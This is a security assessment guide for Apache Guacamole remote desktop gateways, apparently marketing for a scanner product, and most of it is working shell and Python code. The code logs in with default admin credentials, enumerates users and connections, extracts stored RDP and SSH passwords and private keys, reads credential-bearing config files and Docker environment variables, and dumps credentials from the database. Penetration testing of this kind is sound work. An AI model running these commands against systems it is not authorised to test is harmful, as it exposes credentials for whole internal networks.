Apache Guacamole is the most widely deployed open-source remote desktop gateway, providing browser-based RDP, SSH, VNC, and Telnet access to internal servers. Its architecture makes it uniquely dangerous from a security perspective: it functions as a centralized credential vault for all remote access connections, storing RDP passwords, SSH private keys, VNC passwords, and X11 credentials for every server it provides access to. Key assessment areas: Guacamole defaults to guacadmin/guacadmin and many deployments retain these credentials; the Guacamole REST API with admin authentication provides access to all stored connection credentials; Guacamole session tokens do not expire on logout by default in older versions and can be reused; guacamole.properties stores the database connection string and LDAP bind credentials; and the connections endpoint exposes the complete internal network topology including all server hostnames and IP addresses accessible via the gateway. This guide covers systematic Guacamole security assessment.
# Apache Guacamole — default credential testing
GUAC_URL="https://guacamole.example.com"
# Test default guacadmin/guacadmin credentials
TOKEN=$(curl -s -X POST "${GUAC_URL}/api/tokens" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=guacadmin&password=guacadmin" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('authToken',''))
" 2>/dev/null)
if [ -n "$TOKEN" ]; then
echo "DEFAULT CREDENTIALS VALID: guacadmin/guacadmin"
echo "Auth token: ${TOKEN:0:30}..."
echo "Data source: $(curl -s -X POST "${GUAC_URL}/api/tokens" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=guacadmin&password=guacadmin" 2>/dev/null | python3 -c "
import json,sys; d=json.load(sys.stdin); print(list(d.get('availableDataSources',[]))[0] if d.get('availableDataSources') else 'mysql')
")"
fi
# Enumerate all Guacamole users
DATA_SOURCE="mysql" # or postgresql
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/users" \
-H "Guacamole-Token: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
users=json.load(sys.stdin)
print(f'Users: {len(users)}')
for username, u in users.items():
print(f' {username} lastActive={u.get(\"lastActive\")} disabled={u.get(\"attributes\",{}).get(\"disabled\")}')
" 2>/dev/null
# Guacamole REST API — connection vault enumeration
GUAC_URL="https://guacamole.example.com"
TOKEN="guacamole-auth-token"
DATA_SOURCE="mysql"
# List all connections — every server in the gateway
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connections" \
-H "Guacamole-Token: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
connections=json.load(sys.stdin)
print(f'Connections: {len(connections)}')
for conn_id, c in connections.items():
proto = c.get('protocol','')
name = c.get('name','')
parent = c.get('parentIdentifier','')
print(f' [{conn_id}] {name} protocol={proto}')
" 2>/dev/null
# Get full connection details including stored credentials for each connection
for CONN_ID in $(curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connections" \
-H "Guacamole-Token: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys; d=json.load(sys.stdin); [print(k) for k in d.keys()]
" 2>/dev/null); do
echo "=== Connection: ${CONN_ID} ==="
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connections/${CONN_ID}/parameters" \
-H "Guacamole-Token: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
params=json.load(sys.stdin)
# Extract credentials by protocol
hostname = params.get('hostname','')
port = params.get('port','')
username = params.get('username','')
password = params.get('password','')
private_key = params.get('private-key','') # SSH private key
vnc_password = params.get('password','') # VNC password
print(f' Host: {hostname}:{port}')
if username: print(f' Username: {username}')
if password: print(f' Password: {password}')
if private_key: print(f' SSH Private Key: {private_key[:60]}...')
" 2>/dev/null
done
# Guacamole configuration files — database and LDAP credentials
# guacamole.properties — database and LDAP configuration
cat /etc/guacamole/guacamole.properties 2>/dev/null
# Contains:
# mysql-hostname: localhost
# mysql-port: 3306
# mysql-database: guacamole_db
# mysql-username: guacamole_user
# mysql-password: PLAINTEXT_PASSWORD
# ldap-hostname: ad.corp.local
# ldap-user-base-dn: OU=Users,DC=corp,DC=local
# ldap-search-bind-dn: CN=guacamole-svc,OU=ServiceAccounts,DC=corp,DC=local
# ldap-search-bind-password: PLAINTEXT_LDAP_PASSWORD
# Docker environment approach
docker inspect guacamole 2>/dev/null | python3 -c "
import json,sys
containers=json.load(sys.stdin)
if not containers: import sys; sys.exit()
env = containers[0].get('Config',{}).get('Env',[])
for e in env:
if any(k in e.upper() for k in ['PASSWORD','SECRET','KEY','USER','MYSQL','POSTGRES','LDAP']):
print(f'Credential: {e}')
" 2>/dev/null
# Direct database query — extract all connection credentials
# (if MySQL/PostgreSQL access is available)
mysql -u guacamole_user -pPASSWORD guacamole_db 2>/dev/null << 'EOF'
SELECT c.connection_name, c.protocol, cp.parameter_name, cp.parameter_value
FROM guacamole_connection c
JOIN guacamole_connection_parameter cp ON c.connection_id = cp.connection_id
WHERE cp.parameter_name IN ('hostname','port','username','password','private-key')
ORDER BY c.connection_name;
EOF
| Security Test | Method | Risk |
|---|---|---|
| Default guacadmin/guacadmin credentials | POST /api/tokens with username=guacadmin&password=guacadmin — token returned on success; admin token accesses all connections and stored credentials including RDP passwords, SSH private keys, and VNC credentials for all configured servers | Critical |
| Connection credential vault extraction | GET /api/session/data/{datasource}/connections/{id}/parameters with admin token — returns all stored credentials for each connection including plaintext RDP passwords, SSH private key PEM content, and VNC passwords | Critical |
| guacamole.properties database credential extraction | Read /etc/guacamole/guacamole.properties — mysql-password and ldap-search-bind-password stored in plaintext; database credentials allow direct access to all stored connection credentials in the database | Critical |
| Internal infrastructure enumeration via connections list | GET /api/session/data/{datasource}/connections — lists all RDP/SSH/VNC targets with hostnames, IP addresses, and ports; maps complete internal server infrastructure accessible via the gateway | High |
| Active session enumeration and token reuse | GET /api/session/data/{datasource}/activeConnections — lists all active sessions with connection IDs and usernames; in vulnerable versions, session tokens can be reused after logout to hijack abandoned sessions | High |
Ironimo tests Apache Guacamole deployments for default guacadmin credential exploitation, complete connection credential vault extraction for all RDP/SSH/VNC targets, guacamole.properties database and LDAP credential assessment, internal infrastructure mapping via connection enumeration, active session token analysis, guacd TLS configuration audit, and web application vulnerability assessment including SQL injection testing on the connection parameter endpoints.
Start free scan